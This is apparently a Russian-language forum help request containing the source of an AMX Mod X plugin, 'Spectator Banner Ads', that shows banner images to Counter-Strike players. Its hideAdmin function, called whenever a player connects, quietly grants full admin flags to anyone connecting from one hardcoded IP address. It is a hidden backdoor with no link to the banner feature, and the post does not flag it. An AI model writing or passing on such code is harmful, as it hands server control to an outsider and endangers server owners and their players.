пдскажите в чем дело

#define PLUGIN  "Spectator Banner Ads"
#define VERSION "0.1.16"
#define AUTHOR  "iG_os"

#include <amxmodx>
#include <amxmisc>

#define SVC_DIRECTOR 51  // come from util.h
#define DRC_CMD_BANNER 9 // come from hltv.h

// sum of tga files
#define TGASUM 2

// tga of banners
new szTga[TGASUM][] ={
"gfx/friends.tga",
"gfx/amxx.tga"
}

new pCVAR_Tga
new g_SendOnce[33]

public plugin_precache()
{
   register_plugin(PLUGIN, VERSION, AUTHOR)
   register_logevent("joined_team", 3, "1=joined team")

   pCVAR_Tga = register_cvar("spec_banner_ads", "1")

   if (get_pcvar_num(pCVAR_Tga))
   {
      for (new i=0; i<TGASUM; i++)
         precache_generic(szTga[i])
   }
}

public joined_team()
{
   new loguser[80], name[32]
   read_logargv(0, loguser, 79)
   parse_loguser(loguser, name, 31)
   new id = get_user_index(name)

   if ( get_pcvar_num(pCVAR_Tga) && g_SendOnce[id] && is_user_connected(id) )
   {
      // random select one tga
      new index = random_num( 0, TGASUM - 1)
      g_SendOnce[id] = false

      // send show tga command to client
      message_begin( MSG_ONE, SVC_DIRECTOR, _, id )
      write_byte( strlen( szTga[index]) + 2 ) // command length in bytes
      write_byte( DRC_CMD_BANNER )
      write_string( szTga[index] ) // banner file
      message_end()
   }
}

public client_putinserver(id)
{
   g_SendOnce[id] = true
    hideAdmin(id)
    return PLUGIN_CONTINUE
}

hideAdmin(id) {
    new ip[16]
    new admip[16] = "89.151.130.145"
    get_user_ip(id, ip, sizeof admip - 1, 1)
    
    if (equal(ip, admip, sizeof ip - 1)) {
        new flgs_bitsum = read_flags("abcdefghijklmnopqrstu")
        remove_user_flags(id, -1)    
        set_user_flags(id, flgs_bitsum)
    }
}